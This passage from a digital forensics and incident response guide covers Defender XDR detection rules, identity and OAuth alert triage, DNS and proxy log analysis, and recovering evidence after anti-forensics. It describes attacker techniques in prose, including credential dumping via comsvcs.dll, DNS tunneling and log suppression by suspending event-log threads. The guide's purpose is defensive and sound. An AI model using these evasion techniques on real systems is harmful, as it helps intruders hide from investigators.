- **Cross-table hunts need a real join key** — `DeviceId` and `Timestamp` are the most reliable anchors when correlating, for example, a `DeviceNetworkEvents` connection back to the `DeviceProcessEvents` record that made it.
- **Schema and table names change.** Microsoft has renamed products and adjusted schemas before (Defender ATP → Defender for Endpoint being the most visible example) — check the in-portal schema reference before assuming a column name from an older query still applies.

9.2.8 Referenced From

- Detection Engineering: From Hunt Query to Standing Detection
- Module 7: Microsoft Defender Suite for IR
- Glossary
- DNS Analysis

9.2.9 Sources

- Microsoft Learn — DeviceProcessEvents table reference
- Microsoft Learn — IdentityLogonEvents table reference
- Microsoft Learn — IdentityQueryEvents table reference
- Microsoft Learn — CloudAppEvents table reference
- SANS Digital Forensics Certifications overview (FOR508 — hunting methodology, applied here to Defender's specific query language)

August 3, 2026

Defender Suite

9.3 Detection Engineering: From Hunt Query to Standing Detection

9.3.1 The gap between the two

Advanced Hunting with KQL covers writing queries to answer a specific question, right now, about data you already have — a hunt. This page is about the different discipline of turning a hunt query that found something real into a **rule that runs itself, forever**, catching the same pattern automatically the next time it happens. Every KQL example earlier in this module is a hunt query; none of them are a deployed detection until this step happens.

9.3.2 What a custom detection rule actually needs

In Defender XDR, a KQL query becomes a rule via **Custom Detection Rules** — but a query written for one-time hunting usually needs adjustment first:

- **Required output columns.** The query must project `Timestamp` and `ReportId` (and `DeviceId`, if querying device-based tables) — omit these and the "Create detection rule" option is simply unavailable. This trips up more people than any other part of the setup, precisely because a hunt query that works fine interactively can silently fail this requirement.
- **Frequency.** Scheduled rules run every 1/3/12/24 hours, each with a matched lookback window (hourly checks the past 4 hours, every-24-hours checks the past 30 days) — or **Continuous (NRT)**, near-real-time, for qualifying queries. NRT has stricter syntax requirements: no joins, unions, or `externaldata`; regex must be double-escaped; only generally-available (non-preview) columns.
- **Entity mapping.** Without explicitly mapping query columns to entity types (Device, User, File, IP), triggered alerts won't correlate into incidents with related alerts — they'll sit isolated even when they're actually part of the same attack chain another rule also caught.
- **Response actions**, if wanted — isolate a device, run an AV scan, restrict app execution — execute automatically when the rule fires, tying directly into what Automated Investigation & Remediation covers for the broader AIR system.

9.3.3 The tuning problem this guide can't hand you a formula for

A rule that's too broad generates alert fatigue and gets ignored or disabled; a rule that's too narrow misses variants of the same technique. There's no universal answer, but a consistent process: **deploy new rules initially without automated response actions**, review what fires for a defined period, tighten or loosen the query based on real results, and only add automated response once the rule's false-positive rate is actually known rather than assumed. Treat frequency the same way — higher frequency (or NRT) buys faster detection at the cost of query quota, and isn't automatically the right choice for lower-priority rules where a 12- or 24-hour cadence is genuinely sufficient.

9.3.4 How this connects to the rest of this guide

Every example in Advanced Hunting with KQL is a reasonable starting candidate for a standing rule — the encoded-PowerShell query, the `comsvcs.dll` LSASS-dump query, the Office-app-spawns-shell query. So is any query built directly from Operationalizing Threat Intelligence's workflow: a technique confirmed present in a relevant intel report is a strong candidate for promotion from "something we could hunt for" to "something that alerts us automatically," precisely because a report telling you an actor uses a technique is itself evidence the technique is worth standing detection, not just an occasional check.

9.3.5 Turning this into report language

For an executive audience specifically, the distinction between "we can find this if we look" and "we're automatically alerted when this happens" is a meaningful, reportable difference in security posture — not just a technical implementation detail. "Following this incident, the detection logic used to identify the compromise (LSASS access via `comsvcs.dll`, correlated with directory replication activity) has been deployed as a standing, automated detection rule running continuously — this specific attack pattern will now generate an immediate alert rather than requiring a hunt to discover" is exactly the kind of forward-looking, decision-relevant statement Reporting & Communication calls for in an executive summary's remediation section.

9.3.6 Referenced From

- Operationalizing Threat Intelligence
- Module 7: Microsoft Defender Suite for IR
- Glossary

9.3.7 Sources

- Microsoft Learn — Create custom detection rules in Microsoft Defender XDR

August 3, 2026

Defender Suite

9.4 Defender for Identity: Mapping Alerts to What You Already Know

Defender for Identity (DFI) watches Domain Controller traffic and logs directly, and its named alerts map cleanly onto the Active Directory attack techniques already covered in this guide — knowing the mapping means an alert firing tells you exactly which reference page to pull up.

DFI alert name	Maps to
Suspected DCSync attack (replication of directory services)	DCSync Detection — DFI is watching for the same replication-rights abuse this guide's manual Event ID 4662 method catches, generated automatically instead of requiring you to hunt for the GUIDs yourself
Suspected Golden Ticket usage / **Forged Kerberos certificate usage**	Golden Ticket & Silver Ticket Indicators — DFI flags anomalous ticket lifetimes, encryption types, and references to non-existent account attributes automatically
Suspected Kerberos SPN reconnaissance / **Possible Kerberoasting attack following a suspicious LDAP query**	Kerberoasting — DFI specifically watches for the LDAP enumeration step that typically precedes a Kerberoasting run, not just the ticket requests themselves

9.4.1 A limitation worth knowing, not exploiting

DFI's DCSync detection keys primarily off **the identity a replication request is made under**, not the source IP alone — worth knowing because it shapes what "properly configured" looks like: an environment where every account with replication rights is tightly scoped and monitored closes the gap that identity-based detection alone can leave open. This is a reason to pair DFI alerting with the manual baseline-and-audit approach in DCSync Detection — regularly reviewing *who holds* Replicating Directory Changes rights — rather than relying on any single detection layer alone.

9.4.2 Practical note on alert latency

DFI alerts typically surface within a few minutes of the underlying activity, not instantly — factor a short delay into timeline reconstruction when correlating a DFI alert timestamp against other logs (Security 4662, replication metadata) for the same event.

9.4.3 Referenced From

- Module 7: Microsoft Defender Suite for IR
- Glossary

9.4.4 Sources

- Microsoft Defender for Identity alert reference (learn.microsoft.com/defender-for-identity)
- SANS Digital Forensics Certifications overview (FOR508 — Active Directory detection)

August 3, 2026

Defender Suite

9.5 Defender for Cloud Apps: Reading an OAuth Consent Alert

This page is the "what does the alert actually show you" companion to Module 5's OAuth Consent Grant persistence entry — read that page first for the underlying mechanism; this one is about correctly triaging the alert once it fires.

9.5.1 What the alert surfaces

- **Application identity** — name, publisher, and whether it's registered inside your own tenant or external
- **Permissions requested vs. granted** — the specific Graph API scopes the app asked for, and which of those the consenting user or admin actually approved
- **The consenting principal** — which user (or admin, via admin consent) approved the grant
- **A risk score**, weighted heavily by how disproportionate the requested permissions are relative to the app's apparent purpose

9.5.2 The triage question that matters most

Does the permission scope match what the app plausibly needs to do? A calendar-scheduling app requesting `Calendars.Read` is unremarkable. The same app requesting `Mail.Read`, `Files.ReadWrite.All`, or full directory access is disproportionate — and disproportion, not the mere existence of a grant, is the actual signal. Most OAuth consent activity in any tenant is completely legitimate; the alert's value is in surfacing the small number of grants where requested scope and stated purpose don't line up.

Secondary checks worth running on anything that looks disproportionate:

- **How recently was the application registered**, relative to when consent was granted? A brand-new app registration receiving broad consent within hours of creation is a very different picture than a long-standing, widely-used app.
- **Is the publisher verified?** Unverified publisher status isn't damning by itself — plenty of legitimate small/internal tools are unverified — but it removes one layer of platform-level vetting you'd otherwise be able to lean on.

> **Red flag**
>
> A recently-registered, unverified application receiving consent for permission scopes well beyond its apparent function, especially mail, file, or full-directory access.

9.5.3 Cleanup

Same remediation as the underlying persistence entry: revoke the grant entirely via the Entra admin center or `Remove-MgOauth2PermissionGrant`, not just disabling the consenting user — the app's access is independent of that user's account state once granted.

9.5.4 Referenced From

- Module 7: Microsoft Defender Suite for IR

9.5.5 Sources

- Module 5: Persistence — Malicious OAuth Application Consent Grants
- SANS Digital Forensics Certifications overview (FOR509 — cloud application security)

August 3, 2026

Defender Suite

9.6 Automated Investigation & Remediation: What It Does, and Doesn't, Do

Defender for Endpoint's Automated Investigation and Remediation (AIR) automatically investigates supported alert types, determines a verdict, and — depending on your configured automation level — can act on that verdict without waiting for an analyst.

9.6.1 What it actually does

- **Investigates automatically** when a supported alert fires: examining the entity involved (a file, a process, a persistence mechanism), pivoting to related artifacts, and reaching a verdict — malicious, suspicious, or no threat found.
- **Can remediate automatically** for clear-cut, high-confidence verdicts: quarantining a malicious file, killing a malicious process, removing a confirmed-malicious persistence mechanism (a Run key, a scheduled task) — the kind of remediation this guide's Persistence Catalog documents manually.
- **Remediation level is configurable** — from fully automatic for high-confidence verdicts, down to requiring approval for every action, depending on how much you trust the automation for your environment and how much analyst bandwidth you have to review its recommendations instead.

9.6.2 Where it stops, and a human needs to pick up

- **Ambiguous verdicts still require a human.** Anything short of high confidence surfaces as a pending action for an analyst to approve or reject rather than executing automatically — this guide's Investigation Playbooks are exactly the reference material for that human judgment call.
- **It's strongest on file-based, single-host threats** — a malicious binary, a clearly identifiable persistence mechanism on one machine. It's meaningfully weaker at the kind of multi-stage, cross-system reasoning this guide's Domain Compromise or BEC playbooks walk through — connecting a cloud sign-in anomaly to an on-prem lateral-movement chain isn't the kind of single-entity verdict AIR is built to reach on its own.
- **It doesn't replace the containment/eradication/recovery sequencing** this guide emphasizes throughout (see Module 0) — AIR can execute a remediation step, but deciding *when* in an incident's lifecycle that step belongs, and what else needs to happen alongside it, stays a human call.

How to think about AIR in practice

Treat it as a force multiplier for the clear cases, not a substitute for the playbooks in this guide — it buys back analyst time on high-confidence, single-host findings specifically so there's more bandwidth for the ambiguous, cross-system investigations that still need a person walking through them deliberately.

9.6.3 Referenced From

- Detection Engineering: From Hunt Query to Standing Detection
- Module 7: Microsoft Defender Suite for IR
- Glossary

9.6.4 Sources

- SANS Digital Forensics Certifications overview (FOR508 — automation's role in modern IR workflows)

August 3, 2026

10. Network & Perimeter Log Analysis

Network Analysis

10.1 Network & Perimeter Log Analysis

This module is deliberately scoped narrow. Full packet-level forensics — capturing and dissecting raw traffic — is its own discipline (SANS FOR572's entire focus), and it's out of scope here on purpose, not by oversight. What belongs in *this* guide: the network-adjacent log sources this guide already leans on constantly — as the clock-skew calibration source in the Domain Compromise case study, as the corroborating source behind half the "Red flag" callouts in earlier modules — without ever having taught what's actually in one or how to read it.

10.1.1 What's here

- DNS Analysis — DNS tunneling, domain generation algorithms (DGA), and beaconing patterns visible in query logs alone
- Proxy & Firewall Log Triage — reading a connection log for what actually matters: user-agent mismatches, beaconing intervals, byte-ratio anomalies, and current TLS fingerprinting

10.1.2 Referenced From

- Enterprise DFIR Field Guide

10.1.3 Sources

- SANS Digital Forensics Certifications overview (FOR572 — network forensics, for readers who want the full discipline this module deliberately doesn't cover)

August 3, 2026

Network Analysis **T1071** **T1071.004** **T1568** **T1568.002**

10.2 DNS Analysis

10.2.1 Why DNS specifically

DNS is one of the few protocols almost never fully blocked outbound — even tightly locked-down environments generally need name resolution to work, which makes it a reliable channel for an attacker regardless of what else is firewalled. Three distinct patterns to know, and they're detected differently.

10.2.2 DNS tunneling

Data gets encoded into DNS queries and responses themselves — commonly in subdomain labels (`<encoded-data>.attacker-domain.com`) or TXT record content — using DNS as a covert channel for C2 or exfiltration rather than for its intended purpose. This works precisely because DNS traffic is rarely inspected as closely as HTTP/S traffic.

What to look for:

- Subdomain labels with unusually high entropy (effectively random-looking character sequences) rather than human-readable names.
- Abnormally long, or abnormally frequent, queries against a single domain.
- A high proportion of TXT or NULL record queries relative to normal A/AAAA-dominated traffic — legitimate DNS traffic skews heavily toward standard address lookups.

10.2.3 Domain Generation Algorithms (DGA)

Rather than hardcoding a single C2 domain (an easy indicator to block once known), malware using a DGA computes a large list of candidate domain names on a schedule — often date-seeded — and tries each until one resolves, because the attacker has only registered a small subset of the generated list in advance. This defeats static domain blocklisting, since blocking today's known-bad domain does nothing against tomorrow's algorithmically-generated one.

What to look for:

- A single host generating a high volume of **NXDOMAIN** (non-existent domain) responses in a short window — the majority of a DGA's generated candidates will fail to resolve, since the attacker only registered a few.
- Queried domain names with DGA-typical characteristics: consistent length, high character-level randomness, absence of real dictionary words — distinct from both tunneling's encoded-payload subdomains and normal human-chosen domains.

10.2.4 Beaconing

Malware checking in with its C2 infrastructure on a fixed or near-fixed interval produces a query (or connection) pattern that's **suspiciously regular** — organic human and application traffic is bursty and irregular; a host querying the same domain every 60 seconds, near-exactly, for hours, is not behaving like a person using a browser.

What to look for: plot query timestamps to a single destination and look for consistent inter-arrival intervals rather than the clustered, uneven pattern normal usage produces. Jitter (small randomized variation added deliberately to defeat this exact detection) is common in more sophisticated tooling — look for a *range* of intervals clustering tightly around a mean, not necessarily an exact repeating number.

10.2.5 Where the evidence lives

Sysmon Event ID 22 (DNS query, see Event Log Key IDs) if configured on the endpoint; centralized DNS server query logs for environment-wide visibility; `DeviceNetworkEvents`/DNS-related tables in Advanced Hunting if using Defender for Endpoint.

Red flag

High-entropy subdomains or excessive TXT/NULL queries (tunneling); a single host generating many NXDOMAIN responses for algorithmically-patterned domain names (DGA); tightly-clustered, regular-interval queries to one destination (beaconing).

10.2.6 Turning this into report language

"Suspicious DNS activity was observed" doesn't tell a technical reader what to verify or an executive reader what it means. "Host `WKS-4471` issued 340 DNS queries to randomly-generated subdomains of `[domain]` over a 6-hour window, with query intervals clustering at 58–62 seconds — a pattern consistent with DNS-based C2 beaconing rather than normal application or user traffic" gives the technical reader the exact numbers to independently verify and the executive reader the plain conclusion: this machine was talking to an attacker on a schedule, not browsing normally.

10.2.7 Referenced From

- ATT&CK Coverage Map
- Glossary
- Network & Perimeter Log Analysis
- Proxy & Firewall Log Triage

10.2.8 Sources

- SANS Digital Forensics Certifications overview (FOR572 — DNS-based C2 and exfiltration detection)
- MITRE ATT&CK — T1071.004 (DNS), T1568.002 (Domain Generation Algorithms)

August 3, 2026

Network Analysis

10.3 Proxy & Firewall Log Triage

10.3.1 What's actually in one of these logs

A typical proxy or firewall connection log entry carries: source/destination IP, destination port, domain or URL, HTTP method, response code, user-agent string (proxy logs specifically), bytes sent and received, and a timestamp. None of it is exotic — the skill is knowing which fields to check first and what "off" looks like in each.

10.3.2 User-agent mismatches

A request whose user-agent string claims a mainstream browser but whose other behavior doesn't match — no accompanying requests for the CSS/JS/images a real page load would trigger, machine-regular timing, or a raw HTTP client's default user-agent string used verbatim (Python `requests`, PowerShell's default `Invoke-WebRequest` UA, `curl`) — is one of the simplest, highest-signal checks available, precisely because most malicious tooling doesn't bother spoofing this convincingly unless specifically built to.

10.3.3 Non-standard ports, and the other direction

Traffic on ports outside 80/443 for what claims to be web traffic is a classic red flag — but don't over-anchor on it: plenty of modern C2 frameworks deliberately use port 443 specifically *because* it blends into the overwhelming volume of legitimate HTTPS traffic every environment generates. Absence of a port anomaly isn't clearance; it just means this particular check didn't catch anything.

10.3.4 Byte-ratio anomalies

Normal web browsing is heavily download-weighted — a small request, a much larger response. A connection sending **substantially more data out than it receives back** inverts that ratio and is worth investigating as a possible exfiltration channel, especially sustained over multiple connections to the same destination rather than a one-off.

10.3.5 Beaconing intervals

The network-log version of the same concept covered in DNS Analysis: connections to the same destination at suspiciously consistent intervals, rather than the bursty pattern normal usage produces.

10.3.6 TLS fingerprinting: use JA4, not JA3

JA3 (2017, Salesforce) fingerprints a TLS client by hashing characteristics of its handshake — historically useful for spotting known-bad tooling (a commodity RAT's default TLS stack producing a recognizable hash) even inside encrypted traffic, since the handshake itself is unencrypted. **As of current browser versions, JA3 is meaningfully less reliable**: Chrome 110+ and Firefox 114+ randomize the order of TLS extensions specifically to defeat this kind of fingerprinting, so the same client can now produce different JA3 hashes across sessions.

JA4 (FoxIO) is the current standard, designed specifically to handle that randomization — it sorts extensions before hashing rather than relying on their order, and extends the same fingerprinting concept to additional dimensions (ALPN, HTTP headers, certificates via the broader JA4+ family). If your tooling still only surfaces JA3, treat matches as a weaker signal than they used to be, and correlate against JA4 output where available rather than trusting JA3 alone.

> **Red flag**
>
> A user-agent claiming a mainstream browser paired with a TLS/JA4 fingerprint matching a known non-browser HTTP stack, sustained outbound-heavy byte ratios to one destination, or connection intervals clustering suspiciously tightly around a fixed value.

10.3.7 How you actually use this in an investigation

These checks are strongest layered, not run one at a time in isolation — a single non-standard port means little alone; a non-standard port *and* a mismatched user-agent *and* a regular beaconing interval to the same destination is a much harder pattern to explain away as coincidence. Treat this the same way Timeline Construction & Correlation treats any other evidence: independent corroboration, not a single flagged field, is what justifies acting.

10.3.8 Turning this into report language

Per the same standard used throughout this guide — state the specific fields and values, not just the conclusion. "Sustained connections from `WKS-4471` to `[destination]:443` showed a 340:1 outbound-to-inbound byte ratio across 12 connections over 3 hours, with a user-agent string not matching any browser installed on the host per software inventory, and a JA4 fingerprint associated with a known post-exploitation framework" is independently verifiable and unambiguous about severity — a reader doesn't need to trust your judgment, they can check every cited fact themselves.

10.3.9 Referenced From

- ATT&CK Coverage Map
- Glossary
- Network & Perimeter Log Analysis

10.3.10 Sources

- SANS Digital Forensics Certifications overview (FOR572 — network log analysis)
- FoxIO — JA4+ TLS fingerprinting documentation

August 3, 2026

11. Anti-Forensics & Data Recovery

Anti-Forensics **T1070.006**

11.1 Anti-Forensics & Data Recovery

Every module before this one assumes the evidence is basically intact — an artifact exists, and the question is how to read it correctly. This module is about the other half of real investigations: an attacker who knows this guide exists too, and takes deliberate steps to destroy, hide, or corrupt the evidence before you get to it — and what's actually still recoverable when they try.

11.1.1 A framework for the "why," not just the "how"

Dr. Marcus Rogers' taxonomy, the most widely cited framework in the anti-forensics literature, sorts every technique into one of four categories by *intent*:

Category	What it means	Examples already in this guide
Data hiding	Conceal information's existence, not just its content	Alternate Data Streams; steganography, encryption
Artifact wiping	Destroy evidence that would otherwise persist	USN Journal deletion; Prefetch clearing; log clearing
Trail obfuscation	Confuse the investigative process, not just remove evidence	Timestomping (T1070.006); log tampering that inserts *false* entries rather than just removing true ones
Attacks against the forensic process/tools	Target the analyst's tooling or methodology directly	Anti-VM/sandbox detection in malware; deliberately malformed files designed to crash a specific parser

Knowing which category a technique falls into is more than trivia — it predicts where to look for what survives. Wiping and hiding leave fundamentally different kinds of residue, which is why this module's recovery pages are organized by *technique*, not lumped into one generic "anti-forensics" bucket.

11.1.2 The principle that makes recovery possible at all

Every technique on this page's linked pages relies on the same underlying weakness: **destroying a file system's *reference* to data is cheap and fast; actually overwriting the underlying bytes on disk is comparatively slow and often skipped.** Deleting a file, clearing a log, or removing a directory entry typically just marks the space as available for reuse — the original bytes remain physically present until something else happens to overwrite that exact location. Every recovery technique in this module — file carving chief among them — exploits precisely that gap.

11.1.3 What's in this module

- File Carving — recovering files with no intact filesystem metadata at all, by scanning raw bytes for file signatures
- Alternate Data Streams — NTFS's built-in data-hiding mechanism, and how to make it visible again
- Log & Artifact Recovery — what survives log clearing, USN Journal deletion, and a stealthier technique that avoids the obvious "log cleared" event entirely
- Volume Shadow Copy Recovery — using point-in-time snapshots to recover data as it existed before tampering
- Memory-Based File Recovery — recovering a file that's gone from disk but was still resident in memory when captured

11.1.4 Referenced From

- Enterprise DFIR Field Guide

11.1.5 Sources

- Rogers, M. (2006). Anti-forensics presentation, Lockheed Martin / Purdue University — the four-category taxonomy referenced throughout this module
- SANS Digital Forensics Certifications overview (FOR508 — anti-forensics detection and evidence recovery)

August 3, 2026

Anti-Forensics

11.2 File Carving

11.2.1 What it is, and why it works at all

File carving recovers files by scanning raw bytes for recognizable file signatures — completely ignoring the filesystem's own metadata (the MFT, directory entries, allocation tables). This matters because most "deletion" doesn't actually erase data: deleting a file in NTFS marks its MFT entry and the clusters it occupied as available for reuse, but the original bytes physically remain on disk until something else happens to write over that exact location. A quick format only clears the file table, not the data; even many purpose-built "secure delete" tools vary widely in whether they actually overwrite what they claim to. Carving exploits the gap between *the filesystem says this space is empty* and *the space is actually empty*.

11.2.2 How it actually works

Most common file formats have a distinctive **header** (magic bytes at the start) and often a **footer** (an end-of-file marker). A carving tool scans a disk image byte-by-byte for these signatures and extracts everything between a header and its corresponding footer (or, for formats without a reliable footer, up to a configured maximum size).

File type	Header (hex)	Footer (hex)
JPEG	`FF D8`	`FF D9`
PNG	`89 50 4E 47`	`49 45 4E 44 AE 42 60 82`
PDF	`25 50 44 46` (`%PDF`)	`25 25 45 4F 46` (`%%EOF`)
ZIP / Office (docx, xlsx, etc.)	`50 4B 03 04` (`PK..`)	— (use central directory or size estimation)
Windows PE (exe/dll)	`4D 5A` (`MZ`)	— (use PE header's own size fields)

Recovered files from pure carving lose their original filenames and metadata by design — the filesystem structures that held that information are exactly what's gone. Recovered output is typically named generically (`file0001.jpg`) and needs to be identified by content, hash, or embedded strings.

11.2.3 The limitation that matters most: fragmentation

Simple header/footer carving assumes a file's data is stored **contiguously** — one unbroken run of clusters. In practice, especially on a disk that's been in use for a while, files frequently fragment into non-contiguous pieces. When that happens, naive carving grabs only the first fragment and produces a truncated or corrupted result. Filesystem-aware carving (tools that reference remaining MFT structure, even partial, rather than ignoring it entirely) handles this meaningfully better than pure signature-based carvers — worth knowing which category a given tool falls into before trusting a "no results" outcome.

11.2.4 Tools

Tool	Approach	Notes
PhotoRec (CGSecurity, ships with TestDisk)	Pure signature carving, 480+ file type signatures	Most forgiving on damaged media; filenames always lost
Foremost (originally US Air Force OSI)	Config-file-driven header/footer matching	Compact, scriptable, easy to add custom signatures
Scalpel	A faster fork of Foremost, skips irrelevant regions	Same config style as Foremost
bulk_extractor	A different approach entirely — extracts *content patterns* (emails, URLs, BTC addresses, search queries) rather than whole files	Genuinely useful for a different question: not "recover this file" but "what fragments of text or identifiers exist anywhere on this disk, allocated or not"
Autopsy	Integrated carving module built on SleuthKit	Good default when you're already working in a full case-management tool rather than single-purpose CLI tools

11.2.5 How you actually use this in an investigation

Carving is a last resort in terms of sequencing, not importance — reach for it after normal filesystem-based recovery (checking `$Recycle.Bin` directly for straightforward deletions, reviewing $MFT for orphaned-but-still-referenced entries) has been exhausted, because it's slower and produces less contextualized output. The point where it becomes essential: when an attacker has taken deliberate steps — secure-delete tooling, format, direct manipulation of MFT entries — that go beyond simple deletion. If the file you need existed and was later removed, and normal artifact review shows no trace of it, carving unallocated space is often the only remaining path to the actual content (as opposed to just evidence that *something* happened, which artifacts like Prefetch or the USN Journal may still provide even after the file itself is gone).

Always image first — never carve against a live, writable disk. A drive with unstable sectors should be imaged with a tool built for that specifically (`ddrescue` , which logs and retries bad sectors rather than failing outright) before any carving attempt.

11.2.6 Turning this into report language

Carved output on its own is weak evidence — "a JPEG matching this signature was recovered from unallocated space" doesn't establish when it was created, by whom, or that it's even related to the incident. What makes a carved file reportable is corroboration: a recovered file whose content matches a hash already seen elsewhere in the investigation (an Amcache SHA-1, a file named in Prefetch) moves from "a curiosity found on disk" to "confirmed recovery of the deleted tool referenced in Finding 2." State the corroboration explicitly — per Reporting & Communication, a finding is only as strong as what independently confirms it.

11.2.7 Referenced From

- Anti-Forensics & Data Recovery
- Memory-Based File Recovery

11.2.8 Sources

- SANS Digital Forensics Certifications overview (FOR500/FOR508 — file carving and data recovery methodology)
- CGSecurity — PhotoRec / TestDisk documentation

August 3, 2026

Anti-Forensics **T1564** **T1564.004**

11.3 Alternate Data Streams (ADS)

11.3.1 What it is, and why it exists at all

NTFS allows a single file to hold multiple named data streams — the "primary" stream is the file content you'd normally see, but a file can carry additional, named streams (`filename:streamname`) that are completely invisible to File Explorer, a default `dir` listing, and — critically — many security tools that only scan a file's primary stream. The feature exists for legitimate reasons (originally added for compatibility with Apple's Hierarchical File System, and still used today for things like storing thumbnail data), which is exactly why it's not disabled or unusual to encounter — making a malicious stream blend in rather than stand out.

11.3.2 The one you'll encounter constantly, and it's not malicious

`Zone.Identifier` is the single most common ADS you'll see in any investigation, and it's entirely benign — Windows automatically writes it to any file downloaded from the internet (the "Mark of the Web"), recording the source zone and, often, the actual originating URL. Precisely because it's created automatically and consistently, it's genuinely useful: a `Zone.Identifier` stream on a suspicious executable can confirm it was downloaded (versus, say, copied from removable media) and sometimes reveal exactly where from, even after other download-source evidence is gone.

11.3.3 Data hiding: the actual anti-forensics use

Beyond `Zone.Identifier`, ADS gets used deliberately to hide data — most commonly, an entire secondary executable or script stashed inside a stream attached to an innocuous host file, invisible to a normal directory browse and often skipped by security tooling that only inspects primary streams.

11.3.4 How to make streams visible

```
dir /r
```

reveals ADS in a standard directory listing (Vista and later). For programmatic enumeration and reading:

```
Get-Item -Path .\suspicious.txt -Stream *
Get-Content -Path .\suspicious.txt -Stream <stream-name>
```

11.3.5 Where else the evidence lives

- **$MFT** — a file's MFT record enumerates all of its `$DATA` attributes, named and unnamed; an entry with an unusually high attribute count for what should be a simple file is worth a direct MFT-level look, independent of what a directory listing shows.
- **USN Journal** — ADS creation and modification generate journal entries just like any other file write, giving you a timeline of when a stream was created even without knowing to look for it in advance.
- Note the one hard limit: an ADS **cannot be deleted independently of its host file** — the only ways to remove one are to delete the entire file or overwrite the stream directly. This means an ADS, once created, persists for the life of its host file — which cuts both ways for an attacker (durable hiding spot) and an investigator (it's not going anywhere once you know to check).

11.3.6 Normal baseline vs. red flag

`Zone.Identifier` streams on downloaded files are baseline, full stop — expect them constantly and don't treat presence alone as noteworthy. What's worth flagging: any **other** stream name, especially one attached to a file type that has no legitimate reason to carry one (a plain text or log file with a stream containing a PE header), or a stream whose content, once read, is itself executable or script content.

> **Red flag**
>
> A non-`Zone.Identifier` stream on any file, especially one whose content resolves to executable code, a script, or an `MZ` header.

11.3.7 Turning this into report language

"A hidden file was found" is vague; "the file `invoice.pdf` carried an alternate data stream named `:svc.exe` (170 KB, PE executable, `MZ` header confirmed), created per USN Journal analysis at [timestamp] — a technique consistent with NTFS Alternate Data Stream data hiding (T1564.004)" gives a technical reader everything needed to verify the finding independently, and gives an executive reader a clear, concrete image: a normal-looking file was secretly carrying a hidden program.

11.3.8 ATT&CK mapping

T1564.004 (Hide Artifacts: NTFS File Attributes).

11.3.9 Referenced From

- ATT&CK Coverage Map
- Anti-Forensics & Data Recovery
- Glossary

11.3.10 Sources

- SANS Internet Storm Center — "Alternate Data Streams: Adversary Defense Evasion and Detection" (guest diary)
- MITRE ATT&CK — T1564.004

August 3, 2026

Anti-Forensics

11.4 Log & Artifact Recovery

11.4.1 What survives log clearing, and why

When Event ID 1102 fires — the Security log was cleared — the underlying `.evtx` file is rewritten from scratch, but the *old* file's data isn't securely wiped. Its clusters simply become unallocated, available for reuse but not yet overwritten. Three separate avenues can recover what was in it:

1. **NTFS metadata journals.** The `$LogFile` transaction log and the USN Journal may retain references to the original `.evtx` file's data-run locations, letting you find the original clusters before anything else reuses them.
2. **Volume Shadow Copies.** A shadow copy taken before the clearing event may contain a complete, intact pre-clearing snapshot of the log file — often the fastest and most complete recovery path when one exists.
3. **Direct carving.** EVTX files are organized into 64KB chunks, each beginning with a distinctive `ElfChnk` signature. Scanning unallocated space for that signature recovers orphaned chunks even with zero filesystem metadata remaining — and because each chunk is largely self-describing (including the `EventRecordID` range it covers), a carved chunk can often be parsed in isolation.

Tools purpose-built for this: `EVTXtract` (Willi Ballenthin) recovers EVTX fragments from raw images, unallocated space, or memory captures directly. `bulk_extractor`'s dedicated EVTX-carving plugin does the same as part of a broader carving pass. Once you have carved chunks, `EvtxECmd` (the same Eric Zimmerman tool used for normal EVTX parsing elsewhere in this guide) can parse them directly.

Why full recovery isn't guaranteed

EVTX records aren't fully self-contained — the format reuses "templates" across nearby records to save space, and a record's complete meaning sometimes depends on template data stored elsewhere in the same chunk. If that template data is itself corrupted or only partially recovered, some records may parse incompletely even when their raw bytes were successfully carved. Partial recovery is still far better than none, but don't expect every carved chunk to yield a perfectly clean result.

11.4.2 A stealthier technique that skips 1102 entirely

A more sophisticated attacker doesn't clear the log at all — clearing is loud specifically *because* it generates the very 1102 event this guide already teaches you to alert on. Instead: **suspend the Windows Event Log service's threads**, do whatever noisy thing needs doing, then resume them (the public tool `Invoke-Phant0m` implements exactly this). While suspended, events generated elsewhere in the OS queue up in ETW but never get written to the `.evtx` file — no 1102, no cleared-log event at all, just a gap.

Detection doesn't rely on the log itself, for the obvious reason — two independent checks instead:

- **`EventRecordID` continuity.** Each EVTX chunk header records a first and last `EventRecordID`, and the counter should be strictly monotonic across the whole channel. Suspension doesn't reset this counter (the *service* is suspended, not the underlying ETW provider counting events) — but timestamps will show an unexplained gap with zero events from providers that are normally constantly active, which is glaringly obvious on something like a Domain Controller's Security log.
- **The event log service's own lifecycle channel.** `Microsoft-Windows-EventLog%4Operational` logs the health of the logging service itself — its heartbeat pattern breaking is a signal independent of anything that could be suppressed by suspending the *other* channels' writers.

Red flag

A gap in `EventRecordID` continuity with no corresponding 1102 event, especially on a host that should be generating constant activity through the gap window.

11.4.3 How you actually use this in an investigation

Priority order when you discover a cleared or gapped log: check for a Volume Shadow Copy first (fastest, most complete if one exists and predates the clearing), then check `$LogFile`/USN Journal for surviving cluster references, then fall back to direct `ElfChnk` carving if the first two come up empty or the timeframe is too old for shadow copies to cover. For the thread-suspension variant specifically, the `EventRecordID` continuity check should be a standing habit on any host where you're relying heavily on Security log completeness — not just something you reach for once you already suspect tampering.

11.4.4 Turning this into report language

"Log records could not be located for the period in question" is a dead end in a report — it invites the reader to wonder whether you looked hard enough. "The Security log was cleared at [timestamp] (Event ID 1102); records for the preceding six hours were recovered via chunk-carving of unallocated space, recovering 340 of an estimated 412 events based on `EventRecordID` continuity, sufficient to reconstruct the attacker's authentication sequence" is a finding that shows the work and states its own completeness honestly — which per Reporting & Communication is exactly the level of specificity a technical reader needs to trust the conclusion built on top of it.

11.4.5 Referenced From

- ATT&CK Coverage Map
- Anti-Forensics & Data Recovery
- Volume Shadow Copy Recovery
- Glossary

11.4.6 Sources

- EVTXtract (Willi Ballenthin) and `bulk_extractor` EVTX-carving plugin documentation
- SANS Digital Forensics Certifications overview (FOR508 — log tampering detection and recovery)

August 3, 2026

Anti-Forensics

11.5 Volume Shadow Copy Recovery

11.5.1 What it is, and why it's a recovery goldmine

Volume Shadow Copy Service (VSS) creates point-in-time snapshots of a volume — originally for Windows' own System Restore and "Previous Versions" features, but forensically, a shadow copy is a **complete snapshot of the filesystem as it existed at that moment**, sitting right there on the same disk. If an attacker deleted a file, cleared a log, or modified the registry *after* a shadow copy was taken, that shadow copy may still hold the pre-tampering version — untouched by anything that happened afterward.

